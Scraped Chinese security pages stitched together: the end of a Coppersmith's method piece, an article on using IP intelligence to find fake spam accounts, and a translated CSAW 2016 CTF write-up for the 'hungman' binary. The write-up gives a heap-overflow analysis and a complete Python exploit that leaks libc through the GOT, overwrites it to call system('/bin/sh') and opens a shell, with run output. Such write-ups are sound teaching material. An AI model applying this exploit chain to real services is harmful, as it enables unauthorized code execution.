method的边界其实比较模糊，而构造不同的格也会计算出不同的边界值，有不同的效果。所以，在考虑时间和空间复杂度的情况下，是否会存在某种最优的构造方法呢？
好了，这里大概是大部分的对单元coppersmith’s method的应用实例了。最后一手Boneh Durfee
Attack利用了多元coppersmith‘s method，这算是埋了一手伏笔么？ | 社区文章 |
# 业务风险IP情报在社交私信引流场景下的应用
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
业务风险场景中基于IP的对抗一直是企业风控团队面对的一个难点。一方面一个IP背后可能对应多个用户和设备，另一方面随着黑产秒拨和代理技术的发展，大量的黑产IP资源是和正常用户的IP混合在一起。所以导致在IP这个维度上容易出现误判，往往风控的置信度不高，更甚者直接不把IP作为风控因子之一。但是从永安在线近期的数据监测可以看出，90%以上的黑产在攻击时为了绕过企业对于频次或者是地理位置的属性，必然是会使用到代理或者是秒拨的IP资源。对于IP情报能力的挖掘也能够有效帮助企业解决业务风险场景下的问题。
本篇文章主要分享一下在社交平台常见的IM广告引流场景下，业务风险IP情报如何帮助企业风控找到更多虚假账号。
## 社交平台广告引流场景下对抗的难点分析：
社交平台由于天然的聊天属性，导致变成了黑产广告引流、杀猪盘诈骗最严重的地方。黑产上游账号商人注册大量的虚假账号，然后把这些账号卖给中游引流团伙，引流团伙利用自动化工具和脚本批量的平台用户发“加微信”或者“做兼职”等私信进行引流到微信号或者QQ号。下游诈骗团伙在微信或者QQ上对引流成功的账号进行进行诈骗。一方面大量的垃圾广告会影响平台的用户体验，另一方面如果一旦脱离的平台的用户被诈骗成功，及时是不发生在社交平台内，也会对平台的口碑和形象造成极大的影响。
拿我们的一个社交客户的风险场景举例，早期黑产的作恶方式主要是通过接码平台注册大量的账号然后再利用自动化的工具进行批量引流。基于此他们主要在注册和私信两个场景下做攻防对抗，一方面在注册场景下接入手机黑卡情报和人脸验证对注册账号进行强校验，另一方面通过内容审核对于发布的引流信息进行识别，从而关联相关账号进行封禁。这个在早期极大的提高了黑产的注册成本，一定程度上控制住了黑产。
早期黑产作恶方式与对抗方式
但随着攻防对抗的升级，黑灰产不再使用接码平台进行账号注册，而是转用真人众包的方式进行虚假注册。真人众包实际上就是利用了想赚点小钱的兼职人员，他们通过发布注册任务获取大量通过人脸认证或者实名认证的账号，然后再把这些账号转卖给引流团伙进行诈骗。引流团伙在通过引流工具和脚本自动生成绕过企业内容审核机制的话术进行引流。
真人众包的注册任务
真人众包下黑产作恶方式
总结来说，有两大对抗难点：
1、虚假注册账号是利用真人信息和手机号进行注册的，难以识别
2、通过内容审核识别一方面存在滞后性，另一方面黑产工具可以批量生成随机话术进行对抗，导致攻防被动。
在Karma业务安全情报平台上发现的自动化引流脚本具有自动改变引流话术的功能
## 如何利用业务安全IP情报关联真人作弊的风险账号？
从上述的风险问题来看，其实单从账号或者内容审核的唯独很难有效的识别黑产的引流账号或者内容。但是有一个维度是值得深挖的——我们发现黑产利用工具在进行批量引流时，为了避免平台风控对于高频操作的限制，往往会内置一个代理或者秒拨的IP资源池，让其能够让每一次的行为都是一个新的IP资源。我们跟客户风控部一起对黑产账号进行多维度的数据分析后发现，黑产在该平台上作恶时存在明显的特征也正是：90%以上的黑产账号登录所用的IP来自于秒拨代理IP。
秒拨代理IP已集成到部分黑产工具中
因此从账号关联IP为切入口，永安在线与该社交平台风控一起进行了用户账号对应的IP关联分析，摘取出账号关联的IP中，IP命中我们业务风险IP情报中高风险IP占比超过60%的账号，结果发现这部分的账号74%存在直接的异常账号特征，例如密码简单且相似性高的特征，剩下的26%也存在一些其他的特征，例如IP存在跨省级切换的情况等等。利用这样的方式，我们帮助该平台一起发现了将近30万个虚假账号。
总的来说，平台利用业务风险IP情报这个维度，平台从事前事中时候逐步收束疑似站外引流的范围，并结合已有的数据维度，实现特征归类，逐步补齐业务风控模型。
## 业务风险IP情报在企业风控中的置信度将会逐步提高
永安在线业务风险IP情报主要解决两个问题：
1、对于主流的黑产IP资源的识别，能够覆盖全国80%以上的代理、秒拨资源。
2、时效性问题，我们做到对IP风险的秒级更新，判断一个IP在访问的当下是否是一个黑产的动态恶意IP。并且基于捕获的时间的长短进行风险的降级和清洗，保证实时的实时IP风险情报的准确度在99%以上。基于这两点，能够极大的提升IP情报对于风控运营的价值，在误判率极低的情况下，识别更多风险行为和账号，
业务风险IP情报因子在业务场景下应用上，我们建议：
1、中高风险IP风险IP所关联的账号进行分析，精准找出可疑流量，分析恶意特征，提升攻防效率。
2、对于爬虫等不关联账号的场景，可直接对不同风险等级的IP做处置：对于高风险IP直接拦截，中风险IP进行二次校验。 | 社区文章 |
# 【技术分享】一道有趣的CTF PWN题
|
##### 译文声明
本文是翻译文章，文章来源：pastebinthehacker
原文地址：<https://pastebinthehacker.blogspot.com.au/2016/09/csaw-2016-hungma>
译文仅供参考，具体内容表达以及含义原文为准。
****
**翻译：**[ **hac425**](http://bobao.360.cn/member/contribute?uid=2553709124)
**稿费：200RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至linwei#360.cn，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿**
这是CSAW CTF 2016的一道pwn300的题。这道题的利用思路不错,分享下。
题目源码以及分析的ida数据文件下载链接链接:<https://pan.baidu.com/s/1hsFi93A> 密码: jda9
**本地运行题目**
socat TCP4-LISTEN:10001,fork EXEC:./hungman
运行这条命令可以让 程序的标准输入输出都重定向到 10001端口,所以我们可以nc连过去
**分析**
拿到一道题首先看看开启了哪些安全措施
通过运行这个程序我们可以很容易发现这是一个hangman游戏的实现。
经过初步运行程序大致了解程序的运行流程后就可以使用ida进行逆向分析了。我在逆向分析时遇到了一个大坑.由于太信任ida的f5插件,导致浪费了很多时间.对位于0x400F2D的函数
f5看看
这里我对一些变量改了下名,有没有觉得这里有些比较奇怪的语句.比如:
*((_QWORD *)name + 1) = input;
*((_DWORD *)name + 1) = len;
memcpy(*((void **)name + 1), &s, len);
乍一看还以为这里有溢出呢, 实际上这里是ida的f5
插件出了些问题.导致反编译的时候出现一些奇怪的语句.所以这里只能去看汇编代码了.搞pwn关键是内存的布局,使用的情况.所以我们在看汇编代码重点要关注的是内存的分配与使用情况,
这个程序所用的结构体的各个数据区的分配,使用大体在下面.做了些注释
GetName 函数
.text:0000000000400FC3 mov eax, [rbp+input_len]
.text:0000000000400FC9 cdqe
.text:0000000000400FCB mov rdi, rax ; size
.text:0000000000400FCE call _malloc ;分配空间存放刚刚输入的用户名
.text:0000000000400FD3 mov [rbp+input], rax
.text:0000000000400FDA mov edi, 80h ; size
.text:0000000000400FDF call _malloc ;分配空间作为一个obj对象,存放玩家的信息
.text:0000000000400FE4 mov [rbp+obj], rax
.text:0000000000400FEB mov rax, [rbp+obj]
.text:0000000000400FF2 mov edx, 80h ; n
.text:0000000000400FF7 mov esi, 0 ; c
.text:0000000000400FFC mov rdi, rax ; s
.text:0000000000400FFF call _memset
.text:0000000000401004 mov rax, [rbp+obj]
.text:000000000040100B mov rdx, [rbp+input]
.text:0000000000401012 mov [rax+8], rdx ;将刚刚分配的一个缓冲器的指针存放到obj偏移8处
.text:0000000000401016 mov rax, [rbp+obj]
.text:000000000040101D mov edx, [rbp+input_len]
.text:0000000000401023 mov [rax+4], edx ;把用户名的长度存放到 obj偏移4处
.text:0000000000401026 mov eax, [rbp+input_len]
.text:000000000040102C movsxd rdx, eax ; n
.text:000000000040102F mov rax, [rbp+obj]
.text:0000000000401036 mov rax, [rax+8]
.text:000000000040103A lea rcx, [rbp+s]
.text:0000000000401041 mov rsi, rcx ; src
.text:0000000000401044 mov rdi, rax ; dest
.text:0000000000401047 call _memcpy ;用户名拷贝到obj偏移8处的指针所指的位置.
.text:000000000040104C mov rax, [rbp+obj]
.text:0000000000401053 mov rbx, [rbp+var_18]
.text:0000000000401057 xor rbx, fs:28h
.text:0000000000401060 jz short loc_401067
.text:0000000000401062 call ___stack_chk_fail
play_hangman_400B3A函数比较长,就不具体分析了.最后得到obj结构体的结构为
obj + 0: 所得分数
obj + 4: 名称
obj + 8: 存放用户名的指针
obj + 16: 用于存放被猜测的字符.
程序所使用的数据结构分析完了,下一步就是分析程序的逻辑.(逆向的两个主要工作就是分析清楚程序所使用的数据结构及程序的逻辑)程序在获取用户名之后就会进入到玩游戏的主循环.
.text:0000000000400ABA LOOP_400ABA: ; CODE XREF: main_400A0D+11Ej
.text:0000000000400ABA mov rax, cs:player_obj_6020E0
.text:0000000000400AC1 mov edx, [rbp+ur_fd]
.text:0000000000400AC4 mov esi, edx ; arg2: urandom fd
.text:0000000000400AC6 mov rdi, rax ; arg1: player object
.text:0000000000400AC9 call play_hangman_400B3A
.....
.text:0000000000400B28 jz short BREAK_400B2D
.text:0000000000400B2A nop
.text:0000000000400B2B jmp short LOOP_400ABA
play_hangman_400B3A函数是游戏的主体部分.他的第一步工作就是使用一个随机数生成字符串.其长度和我们输入的用户名的长度一致,之后就是一些游戏具体实现逻辑.让我们直接调到漏洞点吧.
**漏洞点**
****
if ( *(_DWORD *)obj > score ) //如果分数大于预设的分数,值为64时,进入
{
puts("High score! change name?");
__isoc99_scanf(" %c", &v3);
if ( v3 == 121 )
{
s = malloc(0xF8uLL);
memset(s, 0, 0xF8uLL);
v8 = read(0, s, 0xF8uLL);
*(_DWORD *)(obj + 4) = v8;
v14 = strchr((const char *)s, 10); //找换行符的位置
if ( v14 )
*v14 = 0;
memcpy(*(void **)(obj + 8), s, v8); //将读取的字符串复制到原来用户名所在的内存区域
free(s);
}
snprintf(buf_512, 0x200uLL, "Highest player: %s", *(_QWORD *)(obj + 8));
score = *(_DWORD *)obj;
}
如果你还记得的话,我们在刚开始构建obj结构体时,为用户名分配的内存大小是0x80的,然而这里程序没有考虑到这一点,而是直接读取最大字节数为0xf8的字符,然后复制到先前分配的那块内存中去.假设在开始设置用户名时我们输入10个字符,接着使我们游戏分数大于64,
接着我们就可以修改用户名,这时,将用户名设置为0xf8大小之后复制到原来存储用户名的内存区时就会触发一个堆溢出.通过分析程序开始到这里的内存使用情况,此时堆内存布局是这样的
我们就可以通过溢出name,进而覆盖obj对象的name指针,来实现一个漏洞利用.
**漏洞利用**
a. 首先我们需要使我们的分数达到64分以上,我们可以通过发生从 a 到 z的所有字符直到我们能够猜到大妈的所以字符.那么我们就能取得一个很高的分数.
b. 一旦我们重写了位于 obj 结构体中的 name 指针我们将很容易就可以实现任意地址读写,下面来分析下怎么实现任意地址读写.
memcpy(*(void **)(obj + 8), s, v8);
free(s);
}
snprintf(buf_512, 0x200uLL, "Highest player: %s", *(_QWORD *)(obj + 8));
score = *(_DWORD *)obj;
当溢出发生后,紧接着就会把 obj + 8 处的存放的指针的数据打印出来,通过溢出我们是可以控制这个指针的值的. 那么任意地址读实现,我们可以用它来读取
got 表中的一些函数,进而实现对aslr的绕过.接下来我们在玩一次,并且比分也能在 64 以上,我们就能往刚刚设置的 地址处写入内容.进而任意地址写实现.
c. 我们现在有了一个任意地址读写的漏洞,该怎么去利用他呢.从一开始我们就检查了 程序开启的防护措施,
他开了 nx 也就是数据执行保护,RELPO 的属性是 Partial , 那么我们就可以通过覆写 got 表来实现漏洞利用.要使用 got
表覆写的话,自然而然的想到应该覆写 free 函数在 got表的地址为 system函数的地址,因为在调用 memcpy 函数之后,紧接着就调用了
free函数.
.text:0000000000400EC4 call _memcpy ; overflow!
.text:0000000000400EC9 mov rax, [rbp+s]
.text:0000000000400ECD mov rdi, rax ; ptr
.text:0000000000400ED0 call _free
听起来还是不错的,但是这里还有一个坑,就是我们在覆写 got 表的时候,此时的 [rbp+s] 所指向的内存的字符串的不是以 /bin/shx00
开始的,而是要覆盖 free 函数指针的值.因此如果直接将 got表中 free函数的值覆盖为 system函数的地址,并不能执行
system("/bin/sh") 也就不能 pwn成功.所以要想实现 getshell ,
我们需要做的是找到一个函数的调用点,他的第一个参数指向的内存区域的内容我们可控,这样我们就能通过函数 覆写 got 表来使得调用他时实际调用的函数为
system,然后执行 system("/bin/sh") 搞定它.经过查找找到了一个
.text:0000000000400A33 mov edx, 200h ; n
.text:0000000000400A38 mov esi, 0 ; c
.text:0000000000400A3D mov edi, offset buf_512 ; s
.text:0000000000400A42 call _memset
.bss:0000000000602100 ; char buf_512[512]
.bss:0000000000602100 buf_512 db 200h dup(?) ; DATA XREF: main+30o
.bss:0000000000602100 ; main+44o ...
.bss:0000000000602300 score dd ? ; DATA XREF: main+4Ew
.bss:0000000000602300
在main 函数中调用 memset 函数时它的第一个参数为指向 .bss 段的一个未初始化的内存,又由于之前我们已经能对got实现写入 最大
0xf8字节的数据.所以我们可以从 got表的 free 函数开始写 ,一直写到.bss:0000000000602100 ; char
buf_512[512] 并且把got 表中memset函数的地址设为system函数的地址.实现漏洞的利用.由于覆盖整个 got
表,其他函数的地址也会被修改,所以我还需要针对got的修改实现一条 调用链,确保能正常的执行到main函数中的memset,然后就能getshell
啦.具体的利用过程,结合大牛写的exp来分析.就拿一些关键的点出来分析,其他的请自行结合exp分析.
第一步溢出 name ,修改 obj 偏移8处的地址.
# ------------------------------------------------------------------------- # first overflow: Arbitrary read
# ------------------------------------------------------------------------- ovfl = "A" * 128 # fill name
ovfl += struct.pack("<Q", 0x1122334455667788) # prevsize (heap meta)
ovfl += struct.pack("<Q", 0x1122334455667788) # size (heap meta)
ovfl += struct.pack("<L", 0x200) # score (must be >64)
ovfl += struct.pack("<L", 0x128) # name length
ovfl += struct.pack("<Q", 0x0000000000602018) #把name 指针的值修改为got表中free函数的地址
s.send( ovfl + "n")
然后读出free函数在libc中的地址,使用偏移计算其他关键函数的地址.
r = recv_until("Continue? ")
off = r.find("Highest player: ") + len("Highest player: ")
free = struct.unpack("<Q", r[off:off + 8])[0] & 0x0000ffffffffffff
print "[+] Leaking address of free(): ", hex(free)
memset = free + (0x78890 - 0x817c0)
setvbuf = free - (0x78890 - 0x67dd0)
system = free - (0x83a70 - 0x45380)
libc_start = free - (0x83a70 - 0x20740)
然后第二次进入游戏,进入 memcpy分支,覆盖got表到bss段
ovfl = struct.pack("<Q", 0x0000000000400D0E) # free = .text:00400D0E call _puts
ovfl += struct.pack("<Q", 0x0000000000400920) # puts = .text:00400920 start proc near 调到程序的入口,通过调用 libc_statc_main 调用main函数
ovfl += "A"*8 *5 # 这些函数没影响
ovfl += struct.pack("<Q", system) # memset = system 将memset函数指针修改为 system函数指针
ovfl += "B" * 8 * 2 #
ovfl += struct.pack("<Q", libc_start) # 修复 libc_statc_main 函数地址,因为后面要通过调用他来调用main函数,从而调用 memset函数.
ovfl += "C" * 8 * 3 #
ovfl += struct.pack("<Q", 0x0000000000400B39) # setvbuf = .text:00400B39 retn //设为类似nop指令,避免程序出错
ovfl += "D" * 8 * 3 #
ovfl += "/bin/shx00" + "E" * 16 # .data
ovfl += struct.pack("<Q", 0x00) + "F" * 56 #
ovfl += "/bin/shx00" + "G" * 8 # //将 .bss:0000000000602100 的值设为以/bin/shx00开头的字符串
ovfl += struct.pack("<Q", 0x00000000006020A8) # .data:006020A8 = &/bin/sh
s.send(ovfl + "n")
通过上面的注释,我再来捋一捋整个调用链的流程,在 memcpy 后,程序的 got 表被完全覆盖,之后会马上调用 free函数, 由于 free函数在got
表中的地址被改为 00400D0E ,该地址处的指令为 call _puts ,然后会调用 puts函数, puts函数的地址也被修改,调用puts
函数后会进入到
然后他会调用 ___libc_start_main
这个函数地址已经被我们修复了,所以会正常的执行main函数,会执行到memset函数,实际上调用的是system函数,且其参数也被设为了
/bin/shx00,我们通过调试试试是否能按exp的预期拿到shell
可以看到 memset函数的指针被覆盖为了system函数的地址,并且他的第一个参数所指向的内存也是以
/bin/shx00开头,其他got表中的地址也满足预期.单步运行下去可以发现就是按我上面所说的那样执行的.
附上exp:
#!/usr/bin/env python2
# -------------------------------------------------------------------------------------------------- import socket
import struct
import telnetlib
import string
# -------------------------------------------------------------------------------------------------- def recv_until(st): # receive until you encounter a string
ret = ""
while st not in ret:
ret += s.recv(8192)
return ret
# -------------------------------------------------------------------------------------------------- if __name__ == "__main__":
s = socket.create_connection(('127.0.0.1', 10001))
#s = socket.create_connection(('localhost', 7777))
f = s.makefile() # associate a file object with socket
recv_until("What's your name?") # eat banner
s.send( "A"*128 + "n" ) # set a big name
recv_until( "n" )
print "[+] Winning the game once..."
for c in string.ascii_lowercase: # win the game
s.send( c + "n")
recv_until( "n" )
s.send(' yn') # change username
raw_input();
# ------------------------------------------------------------------------- # first overflow: Arbitrary read
# ------------------------------------------------------------------------- ovfl = "A" * 128 # fill name
ovfl += struct.pack("<Q", 0x1122334455667788) # prevsize (heap meta)
ovfl += struct.pack("<Q", 0x1122334455667788) # size (heap meta)
ovfl += struct.pack("<L", 0x200) # score (must be >64)
ovfl += struct.pack("<L", 0x128) # name length
ovfl += struct.pack("<Q", 0x0000000000602018) # address of .got.free()
s.send( ovfl + "n")
r = recv_until("Continue? ")
# print list(r)
off = r.find("Highest player: ") + len("Highest player: ")
free = struct.unpack("<Q", r[off:off + 8])[0] & 0x0000ffffffffffff
print "[+] Leaking address of free(): ", hex(free)
'''
Offsets from my libc:
1349: 000000000003f510 45 FUNC WEAK DEFAULT 13 system@@GLIBC_2.2.5
2230: 0000000000078890 146 FUNC GLOBAL DEFAULT 13 free@@GLIBC_2.2.5
2116: 0000000000020610 458 FUNC GLOBAL DEFAULT 13 __libc_start_main@@GLIBC_2.2.5
844: 00000000000817c0 65 IFUNC GLOBAL DEFAULT 13 memset@@GLIBC_2.2.5
1880: 0000000000067dd0 518 FUNC WEAK DEFAULT 13 setvbuf@@GLIBC_2.2.5
'''
system = free - (0x78890 - 0x3f510)
libc_start = free - (0x78890 - 0x20610)
memset = free + (0x78890 - 0x817c0)
setvbuf = free - (0x78890 - 0x67dd0)
'''
Offsets from libc-2.23.so:
1351: 0000000000045380 45 FUNC WEAK DEFAULT 13 system@@GLIBC_2.2.5+
2232: 0000000000083a70 460 FUNC GLOBAL DEFAULT 13 free@@GLIBC_2.2.5
2118: 0000000000020740 458 FUNC GLOBAL DEFAULT 13 __libc_start_main@@GLIBC_2.2.5
'''
system = free - (0x83a70 - 0x45380)
libc_start = free - (0x83a70 - 0x20740)
s.send(' yn') # play the game again
recv_until("n")
for c in string.ascii_lowercase: # win the game again
s.send( c + "n")
print recv_until( "n" ),
print
s.send(' yn') # change name again
print "[+] free() at", hex(free)
print "[+] system() at", hex(system)
print "[+] __libc_start_main() at", hex(libc_start)
print
print "[+] Overwriting GOT..."
# ------------------------------------------------------------------------- # second overflow: Arbitrary write to GOT
# ------------------------------------------------------------------------- # 0x400A2E contains a newline
#
# control flow:
# 1. Overflow in memcpy() at 0x400EC4
# 2. Hijack control during call to free() at 0400ED0
# 3. go to .text:00400D0E call _puts
# 4. go to .text:00400920 start proc near
# 5. go to main()
#
# SOLUTION A:
# 6. call setvbuf() (actually system)
#
# SOLUTION B:
# 6. call setvbuf() (make it idle; point to retn)
# 7. call memset() (actuall system)
#
# Payload contains both solutions, but only one is used.
#
ovfl = struct.pack("<Q", 0x0000000000400D0E) # free = .text:00400D0E call _puts
ovfl += struct.pack("<Q", 0x0000000000400920) # puts = .text:00400920 start proc near
ovfl += "A"*8 *5 # ignore these entries
ovfl += struct.pack("<Q", system) # memset = system
ovfl += "B" * 8 * 2 #
ovfl += struct.pack("<Q", libc_start) # recover __libc_start_main
ovfl += "C" * 8 * 3 #
ovfl += struct.pack("<Q", 0x0000000000400B39) # setvbuf = .text:00400B39 retn
ovfl += "D" * 8 * 3 #
ovfl += "/bin/shx00" + "E" * 16 # .data
ovfl += struct.pack("<Q", 0x00) + "F" * 56 #
ovfl += "/bin/shx00" + "G" * 8 #
ovfl += struct.pack("<Q", 0x00000000006020A8) # .data:006020A8 = &/bin/sh
s.send(ovfl + "n")
# ------------------------------------------------------------------------- # get shell
# ------------------------------------------------------------------------ s.send( '`;') # fix backtick problem
print '[+] Opening Shell...'
t = telnetlib.Telnet() # try to open shell
t.sock = s
t.interact()
# -------------------------------------------------------------------------------------------------- '''
root@eyh:~/ctf/csaw_16# ./hungman_expl.py
[+] Winning the game once...
[+] Leaking address of free(): 0x7f9776b85a70
___a__________________________________________________a___________________________________________a__a______________________________a_____________a______________________________________________a_______________________________________________________________________________________________a_____
___a___________________b______________________________a___________________________________________a__a______b_______________________a__________bb_a___b____________________b___b_________________abb_____b_______b_____b_______________________________________b________b______________b_________ab____
___a_c___c__c_c________b______________________________a______c_____c______________________c_______a__a______b_______________________a______cc__bb_a___b_____c______________b___b_________________abb_____b____c__b_____b_______________________________________b__c_____b______________b_________ab____
___a_c___c__c_c____d___b_________________________dd___a_____dc___d_c_____________________dc_______a_da______b____d__________________a______cc__bb_a___b_____c______________b___b_________________abb_____b____c__b____db_______________________________________b__c_____b______________b_________ab____
___a_c___c__c_c____d___b_________________________dd_e_a_____dce__d_c____________e________dc_______a_da_e____b____d__________________a______cc__bb_a___b_____c______________b___b_________________abb_____b____c__b____db_______________________________________b__c_____b______________b_________ab____
___a_c___c__c_c____d__fb______f________________f_dd_e_a_____dce__d_c_____f____f_e________dc_______a_da_e____b____d_______________f__a____f_cc__bb_a___b_____c______________b___b___f_____________abb_____b_f__cf_b_f__db____f___________________ff_____________b__c_____b______________b_________ab____
___a_c___c__c_c____d__fb___gg_f_________g______f_dd_e_a_____dce__d_c_____f_gg_f_e________dc_____g_a_da_e____b____d_____g_________f__a____f_cc__bb_a___b_____c______________b_ggb___f__________g__abb_____b_f__cf_b_f__db____f______________g____ff_____________b__c_____b____________g_b______g__ab____
___a_c___c__c_c____d__fb___gg_f_________g__h__hf_dd_e_a_____dce__d_c_____f_gg_f_e_h______dc_____g_a_da_e____b____d_____g_________f__a____f_cc__bb_a_h_b_____c______________b_ggb___f__________g__abb____hb_f__cf_b_f__db___hf______________g_h__ff_h___________b__c____hb___h_______hg_b______g__ab____
___a_c___c__c_c____d__fb___gg_f_i_______g__h__hf_ddie_a___i_dce__d_c___i_f_gg_f_e_h______dc_____g_a_da_e__i_b_i__d_i_i_g_________f__a____f_cc__bb_a_h_b____ic____________i_b_ggb___f_______i__g__abb____hb_fi_cf_b_fi_db___hf______________g_h__ff_h______i___ib__c__i_hb___h_i_____hg_b___i__g_iab_i__
___a_c___c__c_c____d__fbjjjggjfji_______g__h__hf_ddie_a___i_dce__d_cj__i_f_gg_f_e_h______dc_____gja_da_e__ijb_i__d_i_i_g_________f__a____f_cc_jbb_a_h_b____ic____________i_b_ggb___f_______i__g__abb_j__hb_fijcf_b_fi_db___hf______________g_h__ff_h__jj__i___ib__c__i_hb__jh_i_____hg_b___i__g_iab_i__
___a_c___c__c_c___kd__fbjjjggjfji_______g__h__hf_ddie_a___i_dce__dkcj__i_f_gg_f_e_h__k___dc_____gja_dake__ijb_i__d_i_i_g_________f__a____f_cc_jbb_a_hkb_k__ic____________i_b_ggb___f___k___i__g__abb_j__hb_fijcf_b_fi_db___hfk_____k___k___g_h__ff_h__jj__i___ib__c__i_hb__jh_i_____hg_b___i__g_iab_i__
___a_c___c__c_c___kd_lfbjjjggjfji_______g__h__hf_ddie_a___i_dce__dkcjl_i_f_gg_f_e_h__k___dc_____gja_dakel_ijb_i__d_i_i_g____l____f__a____f_cc_jbb_a_hkb_k__icl__l_l______i_b_ggb___f___k___i__g_labb_j__hb_fijcf_b_fi_db___hfk____lk___k___g_h__ff_h__jj__i___ib_lc__i_hb__jh_i_____hg_b___i_lgliab_i__
___a_c___c__c_c___kd_lfbjjjggjfji_______g__h__hfmddie_a___i_dce__dkcjl_i_fmggmf_e_h__k___dc_____gja_dakel_ijb_i__d_i_i_g___ml_m__f__a____f_ccmjbb_a_hkb_k__icl__l_l______i_b_ggbm__f___k___i__g_labb_j__hb_fijcf_b_fi_db___hfk____lkm__k___g_h__ff_h__jj__i___ib_lc__i_hb__jh_i_____hg_b___i_lgliab_imm
___a_c___c__c_c___kd_lfbjjjggjfji_______g_nh__hfmddie_ann_i_dce__dkcjlni_fmggmf_e_h__k___dc____ngja_dakelnijb_i__d_i_i_g___mlnm__fn_a____f_ccmjbb_a_hkb_k__icl_nl_l______i_b_ggbm__f___k___i__g_labb_j__hb_fijcf_b_fi_db___hfkn_n_lkm__k___g_h__ff_h__jj__in__ib_lc__i_hb__jh_i_____hg_b___i_lgliab_imm
__oa_c___c__c_c___kd_lfbjjjggjfji_______g_nh__hfmddie_ann_iodce__dkcjlniofmggmf_e_h__k___dc__o_ngja_dakelnijb_i__d_i_iog___mlnm__fn_a___of_ccmjbboa_hkb_k__icl_nl_l______i_boggbm__f___k___io_g_labb_j__hb_fijcf_b_fi_db___hfkn_n_lkmo_k___g_h__ff_ho_jj__in__ib_lc__i_hb__jh_i_____hg_b___i_lgliaboimm
__oapc___c__c_c___kd_lfbjjjggjfji_______g_nh__hfmddie_annpiodce__dkcjlniofmggmf_e_h__k__pdc__o_ngjapdakelnijbpi_pd_i_iog___mlnm__fn_a___of_ccmjbboa_hkb_k__icl_nl_l___p__i_boggbmp_f___k___io_g_labb_j__hb_fijcf_b_fi_db___hfkn_n_lkmo_k___g_h__ff_ho_jj__in__ib_lc__i_hb__jh_i_____hg_b___i_lgliaboimm
_qoapcq_qc__c_c___kd_lfbjjjggjfji_______gqnh__hfmddie_annpiodce_qdkcjlniofmggmf_e_h_qk__pdc__o_ngjapdakelnijbpi_pd_i_iog___mlnm__fn_a_qqof_ccmjbboa_hkb_k__icl_nl_l___p_qi_boggbmp_fqq_k___io_g_labb_jq_hb_fijcf_b_fi_db___hfkn_n_lkmo_k___g_h__ff_hoqjj__in__ib_lc__i_hb__jh_i_____hg_b__qi_lgliaboimm
_qoapcq_qc__c_c___kd_lfbjjjggjfji__rr___gqnhr_hfmddie_annpiodce_qdkcjlniofmggmf_e_h_qk__pdc__o_ngjapdakelnijbpi_pd_i_iogr_rmlnm_rfn_a_qqof_ccmjbboa_hkb_k__icl_nl_l___p_qi_boggbmp_fqq_k___io_grlabb_jq_hb_fijcfrb_fi_db___hfkn_n_lkmo_k__rg_h__ff_hoqjj__in_rib_lc__i_hb__jh_i____rhg_br_qi_lgliaboimm
_qoapcq_qc__c_c___kd_lfbjjjggjfji__rr___gqnhr_hfmddie_annpiodce_qdkcjlniofmggmf_e_h_qk__pdc__o_ngjapdakelnijbpi_pdsi_iogr_rmlnm_rfn_asqqof_ccmjbboa_hkb_ks_icl_nl_l___p_qisboggbmpsfqq_k___io_grlabb_jq_hb_fijcfrb_fi_db_s_hfkn_n_lkmosk__rg_h__ffshoqjj_sin_rib_lc__i_hb__jh_i_s__rhg_brsqi_lgliaboimm
_qoapcq_qc__c_c___kd_lfbjjjggjfji__rrt__gqnhr_hfmddie_annpiodce_qdkcjlniofmggmf_eth_qkt_pdc__o_ngjapdakelnijbpi_pdsi_iogr_rmlnm_rfn_asqqof_ccmjbboa_hkb_ks_icl_nl_l___p_qisboggbmpsfqq_k___io_grlabb_jq_hb_fijcfrb_fi_db_s_hfkntn_lkmosk__rg_h__ffshoqjj_sin_rib_lc__i_hb__jh_i_s__rhg_brsqitlgliaboimm
_qoapcq_qcu_c_c___kd_lfbjjjggjfji__rrt__gqnhruhfmddie_annpiodceuqdkcjlniofmggmf_eth_qktupdc__oungjapdakelnijbpiupdsi_iogr_rmlnm_rfn_asqqof_ccmjbboa_hkb_ksuicl_nl_l___puqisboggbmpsfqq_k_u_io_grlabb_jq_hb_fijcfrb_fi_db_s_hfkntn_lkmosku_rg_h__ffshoqjjusin_rib_lc__iuhb__jhuiusuurhgubrsqitlgliaboimm
_qoapcqvqcu_cvcv__kd_lfbjjjggjfjivvrrt__gqnhruhfmddie_annpiodceuqdkcjlniofmggmfveth_qktupdc__oungjapdakelnijbpiupdsi_iogr_rmlnm_rfn_asqqof_ccmjbboa_hkb_ksuicl_nl_l___puqisboggbmpsfqqvkvu_io_grlabb_jq_hbvfijcfrbvfi_db_s_hfkntnvlkmoskuvrg_h_vffshoqjjusin_rib_lc__iuhb__jhuiusuurhgubrsqitlgliaboimm
_qoapcqvqcu_cvcv__kd_lfbjjjggjfjivvrrt__gqnhruhfmddiewannpiodceuqdkcjlniofmggmfvethwqktupdc__oungjapdakelnijbpiupdsi_iogrwrmlnm_rfnwasqqof_ccmjbboa_hkb_ksuicl_nl_lw__puqisboggbmpsfqqvkvu_io_grlabbwjq_hbvfijcfrbvfi_db_s_hfkntnvlkmoskuvrgwhwvffshoqjjusin_rib_lc__iuhb__jhuiusuurhgubrsqitlgliaboimm
_qoapcqvqcu_cvcvx_kd_lfbjjjggjfjivvrrtxxgqnhruhfmddiewannpiodceuqdkcjlniofmggmfvethwqktupdcx_oungjapdakelnijbpiupdsi_iogrwrmlnm_rfnwasqqof_ccmjbboa_hkbxksuiclxnl_lwx_puqisboggbmpsfqqvkvu_ioxgrlabbwjq_hbvfijcfrbvfi_db_sxhfkntnvlkmoskuvrgwhwvffshoqjjusinxrib_lc_xiuhb_xjhuiusuurhgubrsqitlgliaboimm
yqoapcqvqcu_cvcvxykdylfbjjjggjfjivvrrtxxgqnhruhfmddiewannpiodceuqdkcjlniofmggmfvethwqktupdcx_oungjapdakelnijbpiupdsi_iogrwrmlnmyrfnwasqqofyccmjbboa_hkbxksuiclxnlylwxypuqisboggbmpsfqqvkvuyioxgrlabbwjqyhbvfijcfrbvfi_db_sxhfkntnvlkmoskuvrgwhwvffshoqjjusinxribylc_xiuhb_xjhuiusuurhgubrsqitlgliaboimm
High score! change name?
[+] free() at 0x7f9776b85a70
[+] system() at 0x7f9776b47380
[+] __libc_start_main() at 0x7f9776b22740
[+] Overwriting GOT...
[+] Opening Shell...
id
uid=1000(hungman) gid=1000(hungman) groups=1000(hungman)
ls -la
total 36
drwxr-x--- 2 root hungman 4096 Sep 16 21:31 .
drwxr-xr-x 10 root root 4096 Sep 16 21:31 ..
